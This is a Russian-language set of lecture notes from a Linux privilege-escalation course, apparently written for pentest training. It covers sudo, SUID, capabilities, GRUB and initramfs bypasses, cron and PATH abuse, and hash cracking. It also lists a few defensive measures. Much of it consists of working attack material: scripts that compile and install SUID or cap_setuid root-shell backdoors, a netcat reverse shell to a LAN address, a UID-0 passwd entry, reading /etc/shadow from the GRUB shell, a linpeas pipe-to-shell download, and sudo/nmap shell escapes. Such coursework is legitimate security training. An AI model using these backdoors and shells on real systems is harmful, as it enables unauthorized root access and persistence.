# Cross Platform Privileges Escalation Доп конспект по лекциям https://hackmd.io/@N0y8SsX2TN-aKTUtG8XT-g/HJRJib9W9 # Linux # Занятие 1. Основы повышения привилегий в Linux Повышение привилегий — это использование различных уязвимостей операционной системы и прикладного программного обеспечения для повышения своих полномочий в атакуемой системе. При атаках на Linux-системы под повышением привилегий обычно подразумевается получение прав суперпользователя (root) при работе от обычного пользователя. ![](https://i.imgur.com/f4gmkK8.png) **Методы повышения привилегий** • Использование физического доступа • Использование ошибок администрирования • Эксплуатациялогических и бинарных(повреждение в памяти) уязвимостей привилегированных сервисов • Атаки на ядро Linux ![](https://i.imgur.com/2duGKC3.png) **Цели повышения привилегий** Классификация по степени опасности от легкого к сложному и к повреждениям. • Получение произвольного доступа ко всем хранящимся в системе данным • Использованиевозможностейсистемы, недоступных для обычного пользователя • Модификация работающего в системе программного обеспечения для сбора дополнительной информации • Сокрытие следов активности от системного администратора • Обеспечение условий для атаки на гипервизор ![](https://i.imgur.com/jr4dSV3.png) **Пользователи и группы** Пользователь root – специальный аккаунт, имеет user id 0, может выполнять все операции без исключения. Обычные пользователи (их UID начинается с 500 или 1000, в зависимости от дистрибутива) ограничены в правах и с настройками по умолчанию не могут нанести серьёзный вред целостности системы. /etc/passwd – те кстовый файл, содержащий список учетных записей пользователя В него можно добавить своего пользователя с отличным от root именем, но с тем же UID: hacker:13310alp6DlVk:0:0:hacker:/root:/bin/bash UserID:Password:UID:GID:UserInfo:HomeDir:Shell ![](https://i.imgur.com/5Ljk6lq.png) ![](https://i.imgur.com/zRaxx5V.png) **sudo -f - c применением силы** ![](https://i.imgur.com/g3TXXFn.png) ![](https://i.imgur.com/dzSa0Mq.png) sudo -i - переход на рута ![](https://i.imgur.com/RMWBG45.png) chmod https://losst.ru/komanda-chmod-linux права доступа к файлам https://losst.ru/prava-dostupa-k-fajlam-v-linux ![](https://i.imgur.com/cnxPN3j.png) удалили право на чтение Добавили право на чтение ![](https://i.imgur.com/rJ30Igm.png) когда запускаем через bash, то скрипт работает, потому что **проверяются права bash!** [](https://i.imgur.com/gfK25Ch.png) ![](https://i.imgur.com/tv5OEo0.png) ln - s /etc/passwd log.txt **мягкие ссылки** (любой польз может создать), через ссылку - тот кто пишет в файле /etc/passwd - то будут его права. Все обращения к log.txt будут направлятся к /etc/passwd КНИГА АДминистрирование больших систем UNIX и LINUX руководство сис админа https://www.ozon.ru/product/unix-i-linux-rukovodstvo-sistemnogo-administratora-nemet-evi-snayder-gart-174613742 **Как устроены пользователи и как происходит с ними работа** ![](https://i.imgur.com/vrnGr9O.png) Если есть возможность прописать /etc/passwd , через некоторые сервисы прописать строку выше, то можно будет войти в тачку под рутом, подключится по ssh. Bash игнорирует права доступа. Если в etc/passwd если записан хэш пароля - мы можем залогинится по ссш. (предварительно захешировать пароль или расхешировать этот, что указан в файле) ![](https://i.imgur.com/y7xjne4.png) less /etc/passwd **Управление пользователями и группами** ![](https://i.imgur.com/qahyIoD.png) adduser – добавление пользователя addgroup – добавление группы deluser – удаление пользователя delgroup – удаление группы usermod – изменение пользователя id – печать реальных и эффективных uid/gid who – список текущих пользователей whoami – печать имени/id текущего пользователя passwd – смена пароля пользователю (по умолчанию текущему) sudo journalctl !/bin/sh **Защита от bash** bin false https://unix.stackexchange.com/questions/10852/whats-the-difference-between-sbin-nologin-and-bin-false /etc/shadow - хранятся хэши паролей ![](https://i.imgur.com/1MRvByh.png) https://security-tracker.debian.org/tracker/source-package/linux **Перебор хешей** Далее определяем тип хэша и брутим Хэши паролей из файла /etc/shadow можно попытаться подобрать с помощью таких утилит как John the Ripper и hashcat. Подготовка словарей: • https://crackstation.net • https://wiki.skullsecurity.org/Passwords • https://github.com/danielmiessler/SecLists **Определение типа хэша**: • Вручную • $ grep ^ENCRYPT_METHOD /etc/login.defs • https://github.com/psypanda/hashID #hashid •https://www.onlinehashcrack.com/hash-identification.php **Запуск утилит**: #hashcat $ ./hashcat-cli64.bin -m $HASH_TYPE -a 0 crack.hash dict.txt $ john --wordlist=dict.txt --rules shadow ![](https://i.imgur.com/3v0QfXR.png) #grub ## **GNU GRUB** GRUB – наиболее популярный загрузчик системы. Он обладает собственным интерфейсом, который может быть использован для изменения параметров загрузки ![](https://i.imgur.com/AVf4itu.png) Доступ к меню грап означает доступ ко всей системе при загрузке нажимаем С и переходим в командную оболочку background_color black - смена фона граб ![](https://i.imgur.com/OrrURS4.png) можем работать с любыми файлами без каких либо ограничений ls -la (hd0,msdos1) - смотрим что в файловой системе cat (hd0,msdos1)/etc/shadow - прочитали etc/shadow ![](https://i.imgur.com/iLYOmUD.png) имея доступ к грабу, то мы имеем возможность работы со всеми файлами , без пароля суперпользователя,через **grub shell**. GRUB предоставляет консольный интерфейс, который может быть использован для установки произвольных параметров загрузки (например, для загрузки с Live USB). и просмотра файлов и директорий **Примеры команд GRUB Shell** >Включение пейджера (для просмотра длинного вывода): >set pager=1 Список разделов дисков или файлов >ls Чтение файла >сat (hd0,1)/etc/shadow Установка раздела >set root=(hd0,1) Выбор файла с ядром и параметров ядра >linux /boot/vmlinuz-3.13.0-29-generic root=/dev/sda1 Выбор файла с initrd >initrd /boot/initrd.img-3.13.0-29-generic Загрузка >boot **Сценарии получения доступа** При отсутствии шифрования диска: • Изменение параметров загрузки ядра и запуск шелла системы в качестве init • Изменение параметров загрузки ядра для входа в оболочку initramfs(отдельный маленький линукс -самая лакомая цель (ее почти никогда не защищают при шифровании диска) • Загрузка с портативного носителя с помощью оболочки GRUB2 При использовании шифрования диска: • Перехват пароля при вводе в initramfs (если раздел с initrd и ядром не защищен) • Перехват пароля от раздела с initrd и ядром с помощью атаки на загрузчик GRUB ![](https://i.imgur.com/wWZo7Mh.png) init - запускает процессы ![](https://i.imgur.com/QylEVuX.png) **initramfs** ![](https://i.imgur.com/ztbJ48j.png) в последней строке Linux - мы в конце удаляем ro quiet splash и меняем на rw init=/bin/bash Ядро линукс самым первым процессом запускает bin bash - в этом случае мы обходим все системы безопасности которые есть. Как только мы открыли bash нам надо создать закладку или сменить пароль. (желательно сделать бекап etc/shadow, чтобы вернуть обратно) Вводим /exec /sbin/init - продолжаем процесс загрузки CVE-2015-8370 раньше была уязвимость граб - 28 раза нажать на кнопку backspace и обойти пароль на граб ![](https://i.imgur.com/k0QPorw.png) 623/UDP/TCP - IPMI https://book.hacktricks.xyz/pentesting/623-udp-ipmi **initramfs** сделать так чтобы в корневую файловую систему был замонтирован нужный диск. Initramfs – файловая система в оперативной памяти, используется для загрузки необходимых драйверов и использования различных инструментов монтирования файловых систем перед передачей управления приложению init. ![](https://i.imgur.com/wG7LXqQ.png) Используем Secure Boot в Linux на всю катушку / Хабр - защита от initramfs https://habr.com/ru/post/308032/ **CVE-2016-4484** В случае, если изменение конфигурации в GRUB невозможно из-за наличия пароля, можно попытаться использовать уязвимость в скрипте /scripts/local-top/cryptroot. Суть уязвимости состоит в том, что ошибка при вводе пароля интерпретируется как сбой устройства, но не приводит к прекращению загрузки. Из-за этого скрипт вызывается заново в течение 30 раз, затем пользователь выбрасывается в busybox shell, как если бы произошла попытка загрузки с поврежденного диска. Для осуществления атаки нужно просто зажать клавишу Enter на 70 секунд. ![](https://i.imgur.com/vi4NXwl.png) ### **Защитные меры** 1)Установка пароля на BIOS/UEFI, выбор приоритета загрузки, использование механизмов SecureBoot 2)Использование шифрования диска 3)Установка пароля на GNU GRUB - $ grub-mkpasswd-pbkdf2 - Добавить в файл /etc/grub.d/00_header следующий текст: cat << EOF set superusers="John" password John grub.pbkdf2.sha512.10000.<...> EOF - $ sudo update-grub ![](https://i.imgur.com/XExTAZz.png) Атаки через периферийные устройства Thunderclap: • Периферийные устройства могут получать произвольный доступ к оперативной памяти • Уязвимы многие устройства, имеющие интерфейс Thunderbolt, в том числе большинство MacBook Сайт: http://thunderclap.io/ ![](https://i.imgur.com/uuHHGeB.png) http://thunderclap.io/ - подключение к thunderolt - можно снять весь дамп памяти **cold-boot attack** - изъятие оперативной памяти после перезагрузки ![](https://i.imgur.com/Rxa2bW7.png) **SMMBaackdore атака** https://github.com/Cr4sh/SmmBackdoor - оставляем бекдор в операционной системе bash https://github.com/chipsec/chipsec **chipsec** фреймворк, который позволяет отслеживать подобные вещи при атаках. Снятие дампа и анализ https://github.com/hummelchen/uefilog/blob/master/main.c - кейлоггер записывает нажатия клавиш в простейшем коде (для расшифровки жесткого диска) ## Получение прав пользователя **Вход в систему:** • Удаленное подключение: ssh, telnet, VNC, RDP • Локальный доступ: доступ к консоли, дисплейный менеджер **Выполнение команд от имени другого пользователя:** su – переключение пользователя в сеансе командной оболочки sudo – выполнение команды от имени суперпользователя или от имени другого пользователя /etc/sudoers – конфигурационный файл для команды sudo visudo – безопасное изменение конфигурационного файла sudo –l – список разрешенных и запрещенных команд, которые можно выполнять через sudo. ![](https://i.imgur.com/t0VhHb6.png) -su switch user -смена пользователя ![](https://i.imgur.com/sU3tW5g.png) man sudoers - мануал по sudo (можем записывать права пользователя) sudo visudo - получаем безопасный доступ к изменениям в файле ![](https://i.imgur.com/aVBwiOI.png) ![](https://i.imgur.com/NLotQCi.png) польз user без ввода пароля root может выполнять /usr/bin/uname ![](https://i.imgur.com/w8Yrldc.png) **/etc/sudoers** /etc/sudoers – конфигурационный файл для команды sudo User privilege specification root ALL=(ALL:ALL) ALL ubuntu ALL=(ALL:ALL) NOPASSWD: ALL backup ALL=NOPASSWD: /bin/tar Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL)ALL ## **Типы файлов** Тип файлов может быть определен по выводу ls -l • f или - – Обычный файл • d – Директория • p – Именованный канал • l – Символьная ссылка • b – блочное устройство • с – cимвольное устройство (генератор случайных чисел) • s – cокет Создание именованного канала – mkfifo Создание файла устройства - mknod ![](https://i.imgur.com/o9MN13R.png) замена пароля в- /etc/shadow ![](https://i.imgur.com/dlKLOQp.png) **Форматы прав доступа** ![](https://i.imgur.com/GIMQOBE.png) Права проверяются слева направо Чтение, Запись, Выполнение. Владелец - u, Группа - g, Другие -o Владельца может поменять только рут через команду сhown ![](https://i.imgur.com/TSURHfp.png) ![](https://i.imgur.com/awLiuWN.png) ![](https://i.imgur.com/GyP9Qst.png) ![](https://i.imgur.com/2daVUHc.png) chmod g=r-- myfile chmod u+x myfile - исполнение для юзера Более гибкое Установка и изменение прав доступа https://www.opennet.ru/docs/RUS/posixacl/posixacls5.html Управление правами доступа: • chmod – изменение прав доступа • umask – маска прав доступа (влияет на права новых файлов) • chown – изменение владельца, доступна для суперпользователя • chgrp – изменение группы владельца, пользователь может устанавливать их только те группы, в которые он входит ![](https://i.imgur.com/7qsYe8Y.png) ## **Специльные права доступа SUID** SUID bit – позволяет выполнение программы с правами хозяина файла. Это – ключевой механизм повышения прав в Unix-системах. Особенности SUID-программ в стандартных конфигурациях Linux: • Работают с полномочиями пользователя root • Используются для выполнения безопасных привилегированных операций, например, смены пароля или отправки ICMP-запросов • Используются для штатной смены идентификаторов пользователя: **su, sudo, pkexec** • Требования к качеству кода этих программ довольно высокие, т.к. ошибки в них могут привести к нарушению безопасности всей системы • Программы учитывают идентификатор запустившего их пользователя и различные файлы конфигурации Такой бит можно установить на копию /bin/sh для получения возможности выполнять команды с правами root без использования su/sudo. При запуске шелла нужно использовать опцию –p, иначе effective uid будет сброшен. - cp /bin/sh /bin/suid_sh - chmod u+s /bin/suid_sh - /bin/suid_sh –p - id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) **Поиск SUID-файлов**: $ sudo find / -path /sys -prune -o -path /proc -prune -o -user root –type f - perm -4000 ![](https://i.imgur.com/RbgIBpe.png) SUID-бит позволяет от обычных пользователей запускать программы ![](https://i.imgur.com/HgjW9S1.png) ![](https://i.imgur.com/eHdTeWm.png) **s- суидный бит, выделяется красным** в выводе команды, позволяет запускать программу от имени его владельца SUID-бит работает только для бинарных исполняемых файлов, не для скриптов показывает данные процесса ps ![](https://i.imgur.com/8QwNZpr.png) Поднимаем привилегии - надо запускать программу с суидным битом и рутом. Главная задача - заставить работать программу не так как задумал прогер. ![](https://i.imgur.com/gdrGpOj.png) **Поиск SUID файлов** #suid sudo find / -path /sys -prune -o -path /proc -prune -o -user root –type f -perm -4000 2> /dev/null (убрать весь поток ошибок в /dev/null) - посмотреть все файлы которые могут быть нами использованы (можно без судо выполнить поиск) **доп пример** ![](https://i.imgur.com/g1xXD42.png) sudo chowh root: /tmp/ping - меняем владельца файла на рута sudo chmod u+s /tmp/ping - добавляем суидный бит ## **Идентификаторы процессов** Каждый процесс имеет следующие идентификаторы (ID) пользователя и группы: • Реальный (real) • Действующий (effective) • Сохраненный (saved) Привилегированные процессы имеют действующий идентификатор пользователя равный 0. Правила изменения идентификаторов: 1. Непривилегированный процесс может установить любое значение из его текущих ID в любой из данных идентификаторов. 2. Привилегированный процесс может менять идентификаторы произвольно. ![](https://i.imgur.com/VlyzPnV.png) **реальный** - кто запустил **действующий** - кто работал ![](https://i.imgur.com/KBHUCIb.png) Компиляция и запуск: $ gcc uid.c –o uid; sudo chown 0:0 uid; sudo chmod +s uid; $ ./uid ----- ``` #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main () { printf( " UID GID \n" "Real %d Real %d \n" "Effective %d Effective %d \n", getuid (), getgid (), geteuid(), getegid() ); return 0; } ``` _____ ![](https://i.imgur.com/2RNOBve.png) ![](https://i.imgur.com/3wCZbO4.png) собираем бинарник и запускаем ![](https://i.imgur.com/aVIconE.png) id -a Меняем владельца на рута и добавляем суди бит ![](https://i.imgur.com/kpp56eh.png) добавили суидный бит chmod u+s print_uid Effective 0 -рут real 1001 - нынешний пользователь (каждый кто запускает эту программу - запускает с правами рута) ![](https://i.imgur.com/arxNukU.png) Запускаем программу, показываем свои привилегии, меняем идентификаторы **setreuid** - установка реального и эффективного идентификатора man setreuid ![](https://i.imgur.com/aZE18PS.png) ![](https://i.imgur.com/cgviK0i.png) утилита меняет ваши права на рутовые, затем запускает шелл. ![](https://i.imgur.com/bYHuUGp.png) собираем файл, даем нужные права (это можно использовать в качестве закладки с помощью такой логики) ![](https://i.imgur.com/br5G2QS.png) Закрепились в системе - нужен **backdore** **journalctl** открывается пейджер, для запуска команд. можно запустить командную оболочку ![](https://i.imgur.com/2db0U94.png) Уязвимость **Dirty Pipe** позволяет получить root-права почти во всех дистрибутивах Linux, позволяет перезаписывать данные в файлах доступных только для чтения https://xakep.ru/2022/03/09/dirty-pipe/ эксплойт для внутренности ядра https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html sudo chown root: /tmp/ping (меняем владельца на рут) sudo chmod u+s /tmp/ping - даем суидный бит https://t.me/alisaesage - по поводу vm escape https://alisa.sh/ https://github.com/xairy/vmware-exploitation http://blog.paulch.ru/2020-07-26-hunting-for-bugs-in-virtualbox-first-take.html исследования в основном рассказывают о конкретных багах, общий взгляд есть где-то тут https://alisa.sh/slides/HypervisorVulnerabilityResearch2020.pdf ![](https://i.imgur.com/ZiNFCip.png) # Занятие 2. Эксплуатация уязвимостей в конфигурации Linux ## **Сapabilities** Гранулирование прав Процессы капабилитись позволяет дать права на какие то действия, не доступные обычному пользовател **Capabilities** - это средства для управления привилегиями, которые в традиционных Unix-подобных системах были доступны только процессам, запущенным с правами root. **Закрепление в системе** Капабилити - очень сильно помогает при повышении привилегий. https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities получить список капабилити getcap /bin/ping ![](https://i.imgur.com/9JrIXOV.png) type nc getcap /usr/bin/nc - даем неткату капабилити $ getcap /bin/ping $ chmod u-s /bin/ping $ setcap cap_net_raw+ep /bin/ping CAP_CHOWN = возможность менять владельца файла CAP_DAC_OVERRIDE - возможность игнорировать все ... доступа (read, write, execute) CAP_NET_BIND_SERVICE - возможность слушапить привеоигированные порты CAP_SETUID - возможность устанавливать процессу произвольный UID СAP_SYS_PYRACE - возможность вести отладку любого процесса getcap -r /usr/bin/ - найти бинариники обладающими капабилити все капабилити - **man capabilities** ![](https://i.imgur.com/YC1JMx5.png) ![](https://i.imgur.com/MlrATjC.png) getcap -r /bin/ping до 1024 порты являются привилигированные ![](https://i.imgur.com/4AjbkJa.png) найти файлы для суидного бэкдора, сменив владельца на рута find / -path /sys -prune -o -path /proc -prune -o -user root -type f -perm -4000 2> /dev/null Скрипт для установки **Capabilities-бэкдора**, запускать от root. ``` #!/bin/bash SRC=$(mktemp -t XXXXXXX.c) cat << EOF > "$SRC" #include <unistd.h> int main() { setreuid(0,0); execve("/bin/sh",0,0); } EOF gcc "$SRC" -o /tmp/backdoor setcap cap_setuid+ep /tmp/backdoor rm "$SRC" ``` sudo setcap cap_setuid+ep /tmp/backdoor ![](https://i.imgur.com/YtCqULc.png) ![](https://i.imgur.com/IE43yZm.png) запуск компилятором gcc ![](https://i.imgur.com/VnkLGkn.png) меняем id **Скрипт для установки бэкдор СAPABILITIES** --- ![](https://i.imgur.com/lwDCLCo.png) добавляем в баш созд ``` #!/bin/bash SRC=$(mktemp -t XXXXXXX.c) #cоздаем шаблон временного файла на языке С cat << EOF > "$SRC" #include <unistd.h> #добавляем код int main() { setreuid(0,0); execve("/bin/sh",0,0); } EOF gcc "$SRC" -o /tmp/backdoor # сборка с компилятором setcap cap_setuid+ep /tmp/backdoor #указываем - положить в бэкдор rm "$SRC" #удаляем временный файл ``` sudo setcap cap_setuid+ep /tmp/backdoor - устанавливает капабилити /tmp/backdoor - запускаем бинарник - свои привилегии повышаем (обходной путь для закрепления привелегий, только с помощью getcap можно найти эти файлы и обработать) https://ru.wikipedia.org/wiki/Heredoc-синтаксис ## **СПЕЦИАЛЬНЫЕ атрибуты Файлов и каталогов** Файловые системы ext2, ext3 и ext4 имеют специальные атрибуты для файлов и каталогов • lsattr – получение специальных атрибутов файла • chattr – изменение специальных атрибутов Наиболее интересные атрибуты: • a - файл может быть открыт только в режиме дозаписи • I - файл защищен от изменений • u - при удалении файла его содержимое должно быть сохранено с возможностью дальнейшего восстановления • s - защищенное удаление файла, перед удалением все содержимое файла полностью затирается "00" ![](https://i.imgur.com/TnzjK0V.png) ![](https://i.imgur.com/w9y16CY.png) lsattr file - получение специальных атрибутов файла chattr [+-][ia] file - изменение спец атрибутов ![](https://i.imgur.com/3VR8cSv.png) атрибуты a - можно только записать какие то данные, но нельзя удалить или переместить I - защитить файл от ищменений / блокировку на иззменение ![](https://i.imgur.com/OyrdCtx.png) /sys/firmware/efi/efivars(информация о прошивке файлов материнской платы) - файлы защищенные от изменения **efivarfs** - a (U)EFI variable filesystem -различные данные которые используются с efi интерфейсом, может быть полезно в нашей работе /sys/firmware/efi/efivars https://www.kernel.org/doc/html/latest/filesystems/efivarfs.html https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface dpkg -S /bin/ping ![](https://i.imgur.com/veHKpKn.png) можем понять к какому процессу принадлежит ## **Дополнительные материалы:** Руководство по GRUB: https://wiki.archlinux.org/index.php/GRUB Средство аудита прошивки UEFI: https://github.com/chipsec/chipsec Настройка SecureBoot в Linux: https://habr.com/ru/post/308032/ Уязвимость GRUB: http://hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html Уязвимость initrd: http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html Идентификаторы пользователей: https://intelligea.wordpress.com/2014/02/11/effective-user-id-and-group-id-vs-real-user-id-and-group-id/ Руководство по hashcat: https://hashcat.net/wiki/ Мануал по capabilities: https://man7.org/linux/man-pages/man7/capabilities.7.html Мануал по chattr: https://linux.die.net/man/1/chattr # Удаленный доступ к системе ![](https://i.imgur.com/iYHr5YZ.png) Архитектура процессора, тип и версия ОС Тип шелла: -Web-shell -Bind/reverse shell -Non-interactive dhell -Shh (наиболее удобный, но менее реалистичен) Права пользователя Правила сетевого экрана: -входящее соединения -Исходящие соединения -DPI - deep packet inspection Наличие и версия контейнеризации и виртуализации Наличие защитных решений: антивирусы, модули безопасности, IDS/IPS web shell - загружаем кусок кода, мы отправили запрос - получили ответ bind/reverse shell - подключение к удаленной машине либо к нам metasploit - payload meterpretter, payload shell работает по этому принципу *Запускаем машину Basic exploatation* на кали nc -e /bin/bash 192.168.50.98 1234 - подключается к этому адресу и порту и предоставляет командную оболочку **reverse shell** ![](https://i.imgur.com/MAoFQAE.png) ![](https://i.imgur.com/XEKRicS.png) Удаленная машина reverse shell (удаленная машина инициирует соединение): host: nc -lvp 1234 (порт 1234) vm: nc -e /bin/bash 192.168.50.98 1234 Наша машина bind shell: подключились к атакуемой машине nc -e /bin/bash -lp 1234 (открываем порт и подключ извне к этому порту) nc localhost 1234 ![](https://i.imgur.com/xHi3xbD.png) Подключаемся к машине по ссш ssh -p 2222 user@localhost Qwerty123 ![](https://i.imgur.com/7OH7FgV.jpg) ssh -p 22 user@192.168.10.228 ВБ подключение через мост ssh -oHostKeyAlgorithms=+ssh-dss ssh -oHostKeyAlgorithms=+ssh-dss user@192.168.106.135 При попадании на машину - определяем направление атаки, определяем дистрибутив и версию ## **Сбор инфы** Дистрибутив и версия системы: • /etc/issue • /etc/*-release Ядро ОС: • uname –a • ls –la /boot/ Пользователи и их файлы: • /etc/passwd • ls –la /home • .bash_history • .nano_history • .mysql_history • .ssh • Бэкапы Сетевое окружение • ip neigh • ss -tln • netstat -tnlp Задачи cron: • /etc/crontab • /etc/cron.* Работа с sudo: • sudo -l SUID-файлы: • find / -user root -perm - 4000 -exec ls -ldb {} \; >/tmp/suid ![](https://i.imgur.com/DjYDa4j.png) **!! Дата, принадлежность пакету, версия** при этих факторах сможем сказать уязвимость пофикшена или нет. cat /etc/issue - версия дистрибутива Дата, версия ядра Нам важна дата сбора компиляции - если на этот момент была известна уязвимость, то она тут есть ![](https://i.imgur.com/7cgXIiL.png) dpkg -S /boot/vmlinuz-2.6.32-5-amd64 видим что ядро из пакета ls -la /boot/ - смотрим дату обновления ядра ![](https://i.imgur.com/QnX0EjD.jpg) **Дата, Принадлежность пакета и версия** Эксплойты ядра - dirtycow **Далее пользователи и их файлы:** ![](https://i.imgur.com/grawbiN.jpg) https://book.hacktricks.xyz/linux-unix/privilege-escalation ## Автоматизация сбора информации Для ускорения сбора информации о системе можно использовать следующие проекты (скрипты для пентестеров которые ищут мисконфиги - ошибки админа): • https://github.com/diego-treitos/linux-smart-enumeration •https://github.com/rebootuser/LinEnum • https://github.com/luke-goddard/enumy • https://github.com/mostaphabahadou/postenum **Скрипты для автоматизации поиска информации (изъяны ПО)** #tools Lynis – мощная и хорошо поддерживаемая утилита, предназначена скорее для системных администраторов, но может выдать и интересную атакующему информацию. (список действий - чтобы ваша система была более защищена) https://cisofy.com/lynis/ • Linux exploit suggester – более удобная для пентеста утилита, находит эксплойты под потенциально уязвимые сервисы и позволяет их скачать. Применяемые ей эвристики довольно примитивны и часто выдают ложноположительные срабатывания.  Версия на Bash: https://github.com/mzet-/linux-exploit-suggester  Версия на Perl: https://github.com/jondonas/linux-exploit- suggester-2 • Inspector – упрощенная версия Linux exploit suggester, написана на языке Python. https://github.com/graniet/Inspector • local_exploit_suggester – модуль для Metasploit msf > use post/multi/recon/local_exploit_suggester 1 **Lynis** Linux smart enumeration скрипты для пентестеров-Сtf - которые ищут мисконфигурации - ищем ошибки администраторов 2 Автоматический поиск уязвимостей изъянов ПО - на основе их делается LenEnum ![](https://i.imgur.com/xBx9t6R.png) **linpeas** - показывает где мы можем повысить привилегии https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS чаще всего используют linpeas ![](https://i.imgur.com/weMRfdJ.png) Заливаем на машину curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh wget -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh если выше способ не получился, то скачиваем сначала себе на тачку, потом на целевую машину scp -P 2222 linpeas.sh user@localhost:linpeas.sh - передача файла по scp / scp -oHostKeyAlgorithms=+ssh-dss linpeas.sh user@192.168.43.10:linpeas.sh **WinScp** https://winscp.net/eng/download.php ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.168.0.16" - это если надо обновить кешированный ключ. Если компы под одним ip bash linpeas.sh | tee log.txt - записывает вывод в log.txt ![](https://i.imgur.com/jGaZRvf.png) собираем информацию crontab.guru - расшифровка времени запуска cron ![](https://i.imgur.com/fVbp9Hc.png) Нашли файлы с помощью которых можем повысить привилегии, которые имеют право на sudo ![](https://i.imgur.com/P5l89T4.png) https://blog.jetbrains.com/pycharm/2013/06/vim-as-a-python-ide-or-python-ide-as-vim/ **sudo -l** - показывает какие программы отработают без пароля на рута sudo less /etc/passwd(любой файл) дописываем !/bin/bash программа vim имеет право на sudo sudo vim > редактируем passwd sudo vim скрипт баш :!sh или !/bin/sh (прописываем) user@debian:~$ sudo /bin/less /etc/passwd root@debian:/home/user# less ftp пишем : !bin/bash и заходим в рута ![](https://i.imgur.com/Uqfifvt.png) **! Найти функциональность проблемы, которая позволит нам запустить shell** ## Методология повышения привилегий в линукс https://book.hacktricks.xyz/linux-unix/privilege-escalation **nmap script напишем** ![](https://i.imgur.com/331Nh0I.png) user@debian:~$ cat shell.ns os.execute('/bin/sh') sudo nmap --script shell.ns nmap скрипты все пишутся на lo ! https://gtfobins.github.io **список скриптов для программ для повышения привилегий** ## **ОШибки администрирования** Эксплуатация уязвимостей скриптов для планировщика задач Cron: • Изменение скриптов, доступных на запись • Добавление исполняемых файлов в директории из PATH • Использование некорректных wildcard-последовательностей для внедрения кода в команду через имена файлов Утилита sudo и /etc/sudoers: • Использование функциональности программы не по назначению  Разрешенные для пользователя программы могут иметь функциональность, которая позволяет осуществлять чтение и запись в файлы, выполнение внешних программ и т.п. Получение конфиденциальных данных: • Анализ истории shell-команд • Поиск доступных на чтение бэкапов • Поиск конфигурационных файлов с паролями ![](https://i.imgur.com/2HkOymp.png) **Сron** Cron – это классический Unix-daemon, использующийся для периодического выполнения заданий в определенное время. Особенности: • Задания хранятся в специальных файлах в определенном формате. • Поддерживается возможность запуска заданий от имени разных пользователей • Системные задания кладутся в /etc/crontab (может читать кто угодно) • Задания пользователей – в /var/spool/cron/crontabs (могут читать только пользователи) ![](https://i.imgur.com/I7Ppekm.png) cat /etc/crontab https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs https://crontab.guru #tools **pspy** - просмотр запусков процесса без прав суперпользователя https://github.com/DominicBreuker/pspy ![](https://i.imgur.com/KABknMI.png) мы видим аргументы команд, запускаемые команды ## **переменная PATH** $PATH – переменная среды, указывающая список директорий, в которых последовательно производится поиск исполняемых файлов. ![](https://i.imgur.com/XxD652f.png) ![](https://i.imgur.com/P5FogVb.png) переменная окружения PATH через : будет вести поиск слева направо ![](https://i.imgur.com/TBFwmv9.png) повышаем привилегии ``` user@debian:/tmp$ cat > payload.sh #!/bin/bash SRC=$(mktemp -t XXXXXXX.c) cat << EOF > $SRC #include <unistd.h> int main() { setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0); } EOF gcc $SRC -o /bin/backdoor chmod u+s /bin/backdoor user@debian:/tmp$ chmod +x payload.sh ``` ![](https://i.imgur.com/voEnKJU.png) ![](https://i.imgur.com/2bmI3pk.png) добавляем путь к скрипту в файле overwrite.sh (который прописан в path) user@debian:/tmp$ cat /usr/local/bin/overwrite.sh #!/bin/bash echo `date` > /tmp/useless /tmp/payload.sh 1 метод эсплуатации - мы увидели в cron что один из скриптов запускается рутом, мы записали полезную нагрузку в скрипт overwrite.sh и запустили скрипт на cron ![](https://i.imgur.com/e03FH8c.jpg) https://www.ozon.ru/product/linux-api-ischerpyvayushchee-rukovodstvo-144031922/ **Атаки на cron: PATH и перезапись файла** При написании заданий может использоваться небезопасное значение переменной PATH или небезопасные права для выполняемых файлов. При наличии права на запись у атакующего возможно выполнение произвольного кода. **Атаки на cron: wildcard** • Bash поддерживает использование метасимволов для работы с путями файлов • Символ * заменяется на отсортированный в алфавитном порядке список файлов в соответствующей директории. • Это позволяет использовать файлы со определенными именами для инжектирования опций в команду, что может привести к выполнению произвольного кода. **Атаки на sudo** • Системные администраторы используют sudo для того, чтобы определенные пользователи могли выполнять операции, требующие root- прав, при этом набор команд может быть ограничен. • Многие команды в Linux-системах имеют возможность выполнить произвольный код, и это часто не учитывается администраторами. • Атакующие могут использовать эту возможность для получения прав суперпользователя. Примеры: https://gtfobins.github.io/ # Занятие 3. Эксплуатация уязвимостей в привилегированных системных сервисах ## **Простейшие логические уязвимости** В случае, если в системе есть бинарные файлы с SUID-правами, которые были добавлены не из репозиториев, а реализованы администратором самостоятельно или взяты из проекта с плохим качеством кода, то они могут быть подвержены простейшим логическим уязвимостям. Наиболее популярными уязвимостями являются: 1) Отсутствие проверки переменной PATH 2) Передача небезопасных переменных окружения запускаемым процессам 3) Инъекция команд 4) Обращение к файлам, которые могут быть подменены, в том числе из-за состояния гонки (TOCTOU) ![](https://i.imgur.com/CiUZFYd.jpg) ![](https://i.imgur.com/gevPA3D.png) https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt ip_unprivileged_port_start ![](https://i.imgur.com/Z1zZOwE.png) ![](https://i.imgur.com/qz71Wkp.png) Относительный путь у PATH ![](https://i.imgur.com/9u2JRNL.png) ``` #!/bin/bash SRC=$(mktemp -t XXXXXXX.c) cat << EOF > $SRC #include <unistd.h> int main() { setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0); } EOF gcc $SRC -o /bin/backdoor chmod u+s /bin/backdoor ``` cat /etc/profile ![](https://i.imgur.com/Ceji2p5.png) для каждого процесса есть переменная окружения ![](https://i.imgur.com/YgZxpUo.png) могут произвольно меняться при процессе работы программы и выключении(запускается другой процесс и переменная может изменитья) **Область памяти где вся переменная хранится** пишем на языке С ![](https://i.imgur.com/CYHtxqm.png) 